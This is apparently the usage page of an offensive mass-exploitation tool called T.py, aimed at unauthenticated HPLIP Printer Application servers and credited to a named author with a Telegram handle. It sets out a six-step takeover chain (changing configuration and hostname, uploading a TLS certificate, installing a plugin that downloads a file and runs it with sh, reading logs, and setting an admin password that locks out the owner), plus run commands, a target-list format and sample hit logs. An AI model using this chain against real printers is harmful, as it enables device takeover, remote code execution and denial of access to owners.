Target Discovery
    │
    ▼
Detect HPLIP Printer Application (Server header + version)
    │
    ▼
Check Authentication Status (/security)
    │
    ├── Password Set ──► Log as VULN (locked)
    │
    └── No Password (default) ──► Exploit Chain:
            │
            ├── 1. Modify Configuration (/config)
            │       dns_sd_name, location, organization, contact_name
            │       Verified: marker reflected in response
            │
            ├── 2. Change Hostname (/network)
            │       Old hostname captured, new hostname set
            │       Verified: new value reflected in response
            │
            ├── 3. Upload TLS Certificate (/tls-install-crt)
            │       Custom PEM certificate + private key
            │       Multipart file upload
            │
            ├── 4. Install HP Plugin (/plugin)
            │       Step 1: POST action=install-plugin (downloads .run)
            │       Step 2: POST action=license-accepted (executes with sh)
            │       ⚠ CVE-2026-91097 + CVE-2026-91102
            │
            ├── 5. Read Log File (/logfile.txt)
            │       System paths, environment info, Snap paths
            │
            └── 6. Set Admin Password (/security)
                    Locks out further unauthenticated access
                    Completes full admin takeover

pip install requests

python T.py targets.txt 50

python T.py

192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com

http://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...

http://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

   ██████   ██ ██   ██
   ██  ███  ██  ██ ██
   ██   ██████   ███
   ██    █████  ██ ██
   ██     ████ ██   ██

  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  HPLIP Printer Application  │  Admin Takeover + Full Control
  Affected < 3.26.6  │  PAPPL Unauthenticated Access

  CVE-2026-91097  │  Plugin Path Traversal
  CVE-2026-91102  │  Plugin Download Without Integrity + Shell Exec

  Exploited via Web:  /security /config /network /plugin /tls-install-crt /logs

  By: Nxploited ( Khaled Alenazi )  │  Telegram: @Kxploit
  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 targets=4  threads=4

 00:11:34  [CUPS  ]  http://192.168.1.100:8000  Server: HPLIP_Printer_Application/3.22.10-13
 00:11:34  [VER   ]  http://192.168.1.100:8000  v3.22.10 < 3.26.6 AFFECTED
 00:11:35  [PROBE ]  http://192.168.1.100:8000  v3.22.10 | NO AUTH | exploiting...
 00:11:36  [CFG   ]  http://192.168.1.100:8000  CONFIG MODIFIED | marker=abc12345
 00:11:37  [NET   ]  http://192.168.1.100:8000  HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
 00:11:38  [CERT  ]  http://192.168.1.100:8000  TLS CERT UPLOADED | marker=abc12345
 00:12:03  [PLG   ]  http://192.168.1.100:8000  PLUGIN | freshly_installed | shell_exec=True
 00:12:05  [LOG   ]  http://192.168.1.100:8000  logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
 00:12:05  [ADMIN ]  http://192.168.1.100:8000  PASSWORD SET | pw=Nx-zD_buovl6wko0
 00:12:05  [HIT   ]  http://192.168.1.100:8000  v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN

 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 DONE  4/4  █ HIT=4  █ VULN=0  █ SAFE=0  █ SKIP=0

 ▐ Admin Takeover: 4  └─ AdminS.txt
 ▐ Modifications : 8  └─ Nx_modify.txt
 ▐ Cert Uploads  : 4  └─ Nx_upload.txt
 ▐ Plugin Exec   : 1  └─ Nx_plugin.txt
 ▐ Recon / Info  : 8  └─ Nx_recon.txt
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━